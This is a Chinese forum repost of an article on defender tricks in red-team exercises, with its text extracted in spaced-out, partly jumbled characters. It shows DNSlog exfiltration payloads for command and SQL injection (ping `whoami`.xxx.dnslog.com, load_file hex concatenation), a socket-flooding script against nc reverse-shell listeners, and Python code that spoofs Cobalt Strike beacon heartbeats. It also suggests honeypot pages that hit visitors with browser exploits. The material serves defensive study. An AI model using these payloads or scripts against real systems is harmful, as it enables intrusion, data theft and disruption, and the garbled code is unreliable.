设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [18169] 2020-10-22_攻防演练中防守方的骚姿势 ...
返回列表 发新帖
查看: 1|回复: 0

[18169] 2020-10-22_攻防演练中防守方的骚姿势

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2020-10-22_攻防演练中防守方的骚姿势 攻 防 演 练 中 防 守 方 的 骚 姿 势 l a n g k e   H A C K 之 道   2 0 2 0 - 1 0 - 2 2 数 据 外 带 类 数 据 外 带 类 类 型 描 述 类 型 描 述 攻 击 方 在 对 一 个 目 标 进 行 攻 击 时 ， 会 有 一 些 漏 洞 探 测 的 动 作 。 当 遇 到 没 有 回 显 的 命 令 执 行 和 注 入 时 ， 会 采 用 结 合 d n s l o g 的 方 式 。 命 令 执 行 ： S Q L 注 入   ： 其 它 类 似 不 一 一 列 举 攻 击 发 现 攻 击 发 现 一 般 会 从 安 全 告 警 设 备 中 发 现 ， 安 全 设 备 监 控 人 员 ， 发 现 类 似 攻 击 探 测 后 ， 提 取 出 攻 击 者 使 用 的 d n s l o g 平 台 地 址 。 还 有 一 些 情 况 ， 看 的 是 全 流 量 设 备 。 这 种 情 况 下 没 有 告 警 ， 只 能 根 据 经 验 搜 索 了 。 我 们 可 以 关 注 一 些 关 键 词 ， 命 令 执 行 类 ： 、 、 ， S Q L 注 入 类 ： 、 、 骚 扰 姿 势 骚 扰 姿 势 接 下 来 ， 可 以 去 网 上 找 提 供 P I N G 服 务 的 网 站 。 把 上 面 提 取 出 的 攻 击 者 的 d n s l o g 平 台 地 址 做 为 p i n g 的 目 标 地 址 ， 执 行 p i n g 操 作 。 如 果 攻 击 这 用 的 是 网 络 上 找 到 d n s l o g 平 台 ， 大 多 情 况 下 p i n g 出 的 地 址 都 是 1 2 7 . 0 . 0 . 1 ， 如 果 是 自 己 搭 建 的 d n s l o g 平 台 ， 设 置 不 规 范 的 情 况 下 会 显 示 v p s 的 I P 。 p i n g   x x . d n s l o g . c o m l o a d _ f i l e ( C O N C A T ( ' ' , ( s e l e c t   h e x ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )   l i m i t   0 , 1 ) , ' . x x . d n s l o g . c o m ' ) ) p i n g c u r l w g e t l o a d _ f i l e ( E X E C ( E X E C U T E
攻 击 者 的 D N S L O G 平 台 上 面 ， 就 是 这 个 样 子 了 ， 突 突 突 的 一 阵 狂 跳 ， 结 果 没 一 个 是 他 想 要 的 。 上 面 这 种 探 测 只 能 探 测 是 否 存 在 漏 洞 ， 攻 击 方 肯 定 想 要 的 更 多 （ 数 据 外 带 ） 。 数 据 外 带 也 分 两 种 情 况 ， 一 种 是 直 接 外 带 字 符 串 。 由 于 d n s 协 议 不 支 持 部 分 特 殊 字 符 ， 所 以 第 二 种 是 把 数 据 h e x 加 密 后 ， 拼 接 d n s l o g 地 址 外 带 数 据 。 字 符 串 外 带 型 骚 扰   p i n g   ` w h o a m i ` . x x x . d n s l o g . c o m
加 密 拼 接 型 骚 扰 ：

当 然 ， 上 面 这 些 还 略 显 单 调 。 虽 然 产 生 了 大 量 的 d n s l o g 日 志 ， 但 是 重 复 性 很 高 ， 很 容 易 就 被 过 滤 掉 了 。 所 以 接 下 来 考 虑 多 样 性 。 对 于 字 符 串 型 ， 可 以 从 网 上 下 载 一 个 常 用 用 户 名 列 表 ， 再 写 个 脚 本 读 取 用 户 名 列 表 并 调 用 全 国 p i n g 接 口 大 量 发 送 d n s 请 求 。 然 后 就 是 模 仿 数 据 库 常 见 命 令 返 回 结 果 的 格 式 ， 伪 造 一 些 数 据 去 发 送 d n s 请 求 。 比 如 ： 对 于 d n s 请 求 ， 有 个 坑 点 就 是 域 名 每 两 个 之 间 的 字 符 个 数 不 能 超 过 6 3 个 。 域 名 总 长 度 不 能 超 过 2 5 4 个 字 符 。   后 门 类 N C 反 弹 型 反 弹 型 当 攻 击 者 用 n c 反 弹 s h e l l 时 ， 可 以 写 一 个 脚 本 ， 使 用 s o c k e t 库 连 接 攻 击 者 接 收 s h e l l 的 主 机 端 口 。 此 方 法 可 以 终 止 攻 击 者 接 收 s h e l l 的 进 程 。 C S   a g e n t 类 型 描 述 类 型 描 述 对 于 C S ， K 8 大 佬 写 过 一 篇 模 拟 C S 上 线 的 文 章 ， 参 考 链 接 在 最 后 。 不 过 ， 我 在 测 试 过 程 中 ， 发 现 模 拟 上 线 的 请 求 u r l 有 所 变 化 。 s e l e c t   v e r s i o n ( ) ;     - >   x . x . x x s e l e c t   u s e r ( ) ;           - >   x x x x @ l o c a l h o s t . i m p o r t   s o c k e t n   =   0 d e f   c o n n e ( h o s t ,   p o r t ) :         g l o b a l   n         c l i e n t   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M )         c l i e n t . c o n n e c t ( ( h o s t ,   p o r t ) )         n   + =   1         p r i n t ( " N u m b e r " ,   n ) w h i l e   T r u e :         t r y :                 c o n n e ( ' 1 2 7 . 0 . 0 . 1 ' ,   3 3 3 )         e x c e p t   :                 p a s s
c o b a l t c t r i k e 是 一 个 R A T 工 具 ， 后 渗 透 阶 段 的 常 用 工 具 。 利 用 时 生 成 一 个 a g e n t ， 在 目 标 机 执 行 a g e n t 使 其 上 线 ， 从 而 被 攻 击 者 长 期 控 制 。 攻 击 发 现 攻 击 发 现 C S 支 持 多 种 协 议 ， 一 般 会 使 用 h t t p 协 议 进 行 通 信 。 大 多 数 的 流 量 安 全 设 备 都 可 以 发 现 。 一 个 a g e n t 上 线 时 ， 受 害 机 会 先 发 送 一 个 G E T 请 求 ， 接 着 受 害 机 会 发 送 第 一 个 心 跳 包 ， 正 式 上 线 。 在 需 要 执 行 命 令 的 时 候 ， C S 控 制 端 会 把 命 令 数 据 作 为 心 跳 包 的 响 应 ， 发 送 给 受 控 端 。 数 据 包 详 情 如 下 ： 受 害 机 发 起   请 求 上 线 特 征 ： 1 .   u r l 路 径 为 几 个 随 机 字 符 ， 2 .   请 求 头 有 4 个 字 段 ， 类 似 如 下 受 害 机 发 起   心 跳 包 特 征 ： 1 .   u r l 路 径 固 定 为 ， 2 .   相 比 上 面 请 求 头 ， 多 了 一 个 ， 并 且 值 格 式 固 定 C S 控 制 端 响 应   命 令 数 据   原 生 l s 命 令 特 征 ： 1 .   数 据 体 部 分 为 经 过 A E S 解 密 后 的 原 生 命 令 C S 控 制 端 响 应   命 令 数 据   W i n d o w s 系 统 w h o a m i 命 令 特 征 ： 1 .   命 令 为 明 文 并 且 位 置 固 定 ， 可 直 接 获 取 受 害 机 发 起   命 令 执 行 结 果 G E T   / p 3 x B   H T T P / 1 . 1 U s e r - A g e n t :   M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   7 . 0 ;   W i n d o w s   N T   5 . 1 ;   . N E T   C L R   1 . 1 . 4 3 2 2 ) H o s t :   1 9 2 . 1 6 8 . 1 8 6 . 1 3 3 : 3 3 3 C o n n e c t i o n :   K e e p - A l i v e C a c h e - C o n t r o l :   n o - c a c h e / a c t i v i t y C o o k i e C o o k i e G E T   / a c t i v i t y   H T T P / 1 . 1 A c c e p t :   * / * C o o k i e :   c c c s P 3 Z p L V d N m M E u d r / / c T M 7 B p J 4 m E L R T C 0 k U Z 2 I Q l l q w w N N S S C d A l d / y U E y f 7 Q q S q / 6 X w g P K M X j C P 3 Q 4 s b o d 6 L f i V b M A w l M 1 1 w x 2 t h A 9 t a C 4 u o D N f k M + 1 / i A Z 3 h q g X / D Y Q Y U l d u F V q q N G j v 7 4 B H a w X P a a / I u a y / 4 S L d 8 i 0 7 2 S U = U s e r - A g e n t :   M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   8 . 0 ;   W i n d o w s   N T   5 . 1 ;   T r i d e n t / 4 . 0 ;   I n f o P a t h . 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ) H o s t :   1 9 2 . 1 6 8 . 1 8 6 . 1 3 3 : 3 3 3 C o n n e c t i o n :   K e e p - A l i v e C a c h e - C o n t r o l :   n o - c a c h e H T T P / 1 . 1   2 0 0   O K D a t e :   T h u ,   1   O c t   2 0 2 0   1 4 : 5 6 : 1 3   G M T C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m C o n t e n t - L e n g t h :   4 8 _ u . . . . . . . . 5 . . . . . . . . . . . . . * A A A A A k 0 . . . [ ' h C . . R . . . ^ H T T P / 1 . 1   2 0 0   O K D a t e :   T h u ,   1   O c t   2 0 2 0   1 5 : 0 3 : 1 3   G M T C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m C o n t e n t - L e n g t h :   6 4 _ u . . . . . % . . . N . . . . . . .         % C O M S P E C % . . .   / C   w h o a m i . . A A A , . . . . . ] { A $ . 8 . . . .
特 征 ： 1 .   u r l 路 径 为 ， i d 值 不 固 定 。 2 .   命 令 执 行 结 果 为 明 文 且 位 置 固 定 。 骚 扰 姿 势 骚 扰 姿 势 经 过 测 试 ， 我 们 只 需 要 发 送 心 跳 包 ， 即 可 模 拟 上 线 ， 并 且 攻 击 者 无 法 执 行 命 令 ， 只 能 干 着 急 。 模 拟 上 线 后 ， 攻 击 者 执 行 命 令 的 结 果 如 下 , 好 气 ┗ | ｀ O ′ | ┛   嗷 ~ ~ ： K 8 大 佬 文 章 中 还 提 到 ， 可 以 收 集 攻 击 者 执 行 的 系 统 命 令 。 完 整 代 码 如 下 ， 使 用 时 替 换 或 域 名 、 、 ： / s u b m i t . p h p ? i d = 1 9 5 8 0 P O S T   / s u b m i t . p h p ? i d = 1 9 5 8 0   H T T P / 1 . 1 A c c e p t :   * / * C o n t e n t - T y p e :   a p p l i c a t i o n / o c t e t - s t r e a m U s e r - A g e n t :   M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   8 . 0 ;   W i n d o w s   N T   5 . 1 ;   T r i d e n t / 4 . 0 ;   I n f o P a t h . 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ) H o s t :   1 9 2 . 1 6 8 . 1 8 6 . 1 3 3 : 3 3 3 C o n t e n t - L e n g t h :   5 2 C o n n e c t i o n :   K e e p - A l i v e C a c h e - C o n t r o l :   n o - c a c h e . . . 0 . . . . . . . . . . . . j o h n - p c j o h n . D . e . U . . r . . C . $ [ . . . . U V d e f   h e a r t b e a t ( ) :         u r l   =   " h t t p : / / 1 9 2 . 1 6 8 . 1 8 6 . 1 3 3 : 3 3 3 / a c t i v i t y "         h e a d e r s   =   {                         ' C o o k i e ' :   ' I g y z G u I X 0 J r b 5 H t 4 5 Z L Y K y X W B n x f k N I 3 m 6 B O v E x E C d W C u A v 8 f n Y 6 H X K T y g B O V d E 3 4 s D Y u s o D I j z H r / Q R 3 2 m K s o V P b 5 N F M C H A t C 7 F L Q U d S s Z d u f X j s d 2 d S q k G D c a Z k c Q Y D 1 B s s y j G S H T y 4 2 l T 8 o D p g a 3 y 1 z 5 F M G R j o b e k s g a M X 7 M = '                         ' H o s t ' :   ' 1 9 2 . 1 6 8 . 1 8 6 . 1 3 3 : 3 3 3 ' ,                         ' A c c e p t ' :   ' * / * ' ,                         ' C o n n e c t i o n ' :   ' K e e p - A l i v e ' ,                         ' C a c h e - C o n t r o l ' :   ' n o - c a c h e ' ,                         ' U s e r - A g e n t ' :   ' M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   8 . 0 ;   W i n d o w s   N T   6 . 1 ;   W O W 6 4 ;   T r i d e n t / 4 . 0 ;   S L C C 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ) '                 }         r e s p   =   r e q u e s t s . g e t ( u r l = u r l , h e a d e r s = h e a d e r s )         t e x t   =   r e s p . c o n t e n t . h e x ( )         r e t u r n   t e x t b e a c o n >   s h e l l   i p c o n f i g [ * ]   T a s k e d   b e a c o n   t o   r u n :   i p c o n f i g [ + ]   h o s t   c a l l e d   h o m e ,   s e n t :   1 1 4   b y t e s b e a c o n >   l s [ * ]   T a s k e d   b e a c o n   t o   l i s t   f i l e s   i n   . [ + ]   h o s t   c a l l e d   h o m e ,   s e n t :   1 9   b y t e s b e a c o n >   s h e l l   w h o a m i [ * ]   T a s k e d   b e a c o n   t o   r u n :   w h o a m i [ + ]   h o s t   c a l l e d   h o m e ,   s e n t :   3 7   b y t e s I P p o r t c o o k i e
效 果 图 w e b s h e l l 类 类 #   c o d i n g :   u t f - 8 i m p o r t   r e i m p o r t   t i m e i m p o r t   r e q u e s t s d e f   h e a r t b e a t ( ) :         u r l   =   " h t t p : / / 1 9 2 . 1 6 8 . 1 8 6 . 1 3 3 : 3 3 3 / a c t i v i t y "         h e a d e r s   =   {                         ' C o o k i e ' :   ' I g y z G u I X 0 J r a 5 H t 4 5 Z L Y K y X W B n x f k N I 3 m 6 B O v E x E P d W C u A v 8 f n Y 6 H X K T y g B O V d E 3 4 s D Y u s o D I j z H r / Q R 3 2 m K s o V P b 5 N F M C H A t C 7 F L Q U d S s Z d u f X j s d 2 d S q k G D c a Z k c Q Y D 1 B s s y j G Z H T y 4 2 l T 8 o D p g a 3 y 1 z 5 F M G R j o b e k s g a M X 7 M = '                         ' H o s t ' :   ' 1 9 2 . 1 6 8 . 1 8 6 . 1 3 3 : 3 3 3 ' ,                         ' A c c e p t ' :   ' * / * ' ,                         ' C o n n e c t i o n ' :   ' K e e p - A l i v e ' ,                         ' C a c h e - C o n t r o l ' :   ' n o - c a c h e ' ,                         ' U s e r - A g e n t ' :   ' M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   8 . 0 ;   W i n d o w s   N T   6 . 1 ;   W O W 6 4 ;   T r i d e n t / 4 . 0 ;   S L C C 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ) '                 }         r e s p   =   r e q u e s t s . g e t ( u r l = u r l , h e a d e r s = h e a d e r s )         t e x t   =   r e s p . c o n t e n t . h e x ( )         r e t u r n   t e x t x   =   T r u e w h i l e   x :         t e x t   =   h e a r t b e a t ( )         l e n g s   =   l e n ( t e x t )         #   p r i n t ( l e n g s ,   "         " ,   t e x t )         i f   ' 2 f 4 3 2 0 '   i n   t e x t   a n d   ' 0 0 0 0 4 1 '   i n   t e x t :                 p r i n t ( t i m e . s t r f t i m e ( " % Y - % m - % d   % H : % M : % S " ,   t i m e . l o c a l t i m e ( ) ) )                 c o m m e d s   =   r e . f i n d a l l ( r ' 2 f 4 3 2 0 ( . * ? ) 0 0 0 0 4 1 ' ,   t e x t )                 f o r   c o m m   i n   c o m m e d s :                         c o m m e d   =   b y t e s . f r o m h e x ( c o m m ) . d e c o d e ( ' u t f - 8 ' )                         p r i n t ( c o m m e d )         t i m e . s l e e p ( 5 )
有 时 候 防 守 方 的 系 统 可 能 存 在 文 件 上 传 或 写 入 漏 洞 ， 导 致 攻 击 者 上 传 w e b s h e l l 后 门 。 一 旦 攻 击 者 连 接 成 功 ， 剩 下 的 就 是 内 网 一 把 梭 了 。 这 时 候 防 守 方 最 方 便 快 捷 的 应 对 办 法 就 是 删 除 w e b s h e l l 文 件 了 ， 攻 击 者 发 现 w e b s h e l l 被 删 后 ， 还 可 以 继 续 上 传 ， 终 归 不 是 解 决 办 法 。 做 为 防 守 方 ， 可 以 换 个 思 路 。 想 办 法 阻 止 攻 击 者 成 功 连 接 w e b s h e l l 才 是 目 的 ， 所 以 可 以 修 改 w e b s h e l l 连 接 密 码 ， 或 者 破 坏 w e w b s h e l l 功 能 ， 让 攻 击 者 迷 茫 去 吧 。 p s : 不 要 问 我 为 什 么 不 暂 时 停 机 下 线 ， 修 复 漏 洞 再 上 线 。 我 想 做 过 项 目 的 乙 方 乙 方 兄 弟 都 懂 。 诱 捕 诱 捕 1 .   某 一 应 用 故 意 留 个 弱 口 令 ， 但 是 登 陆 需 要 绑 定 微 信 或 者 手 机 号 ， 从 而 根 据 微 信 或 者 手 机 号 溯 源 到 攻 击 者 身 份 。 验 证 微 信 或 者 手 机 号 时 ， 需 要 注 意 不 能 让 攻 击 者 绑 定 任 意 微 信 或 者 手 机 号 。 还 有 就 是 绑 定 的 手 机 号 不 能 是 接 码 平 台 的 虚 拟 手 机 号 。 （ 具 体 代 码 逻 辑 ， 仁 者 见 仁 ， 智 者 见 智 了 ） 2 .   蜜 罐 设 置 一 个 e x p 向 量 的 页 面 ， 主 要 使 用 针 对 G o o g l e 、 火 狐 等 浏 览 器 的 已 公 开 漏 洞 。 当 攻 击 者 使 用 了 存 在 漏 洞 的 浏 览 器 访 问 到 网 页 时 ， 不 知 不 觉 就 上 线 了 。 当 然 ， 这 种 成 本 比 较 高 。 参 考 ： h t t p s : / / k 8 g e g e . o r g / p / 4 0 5 2 3 . h t m l 作 者 ： l a n g k e         文 章 来 源 ： h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 2 1 9 0 5 9 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:44 , Processed in 0.530802 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表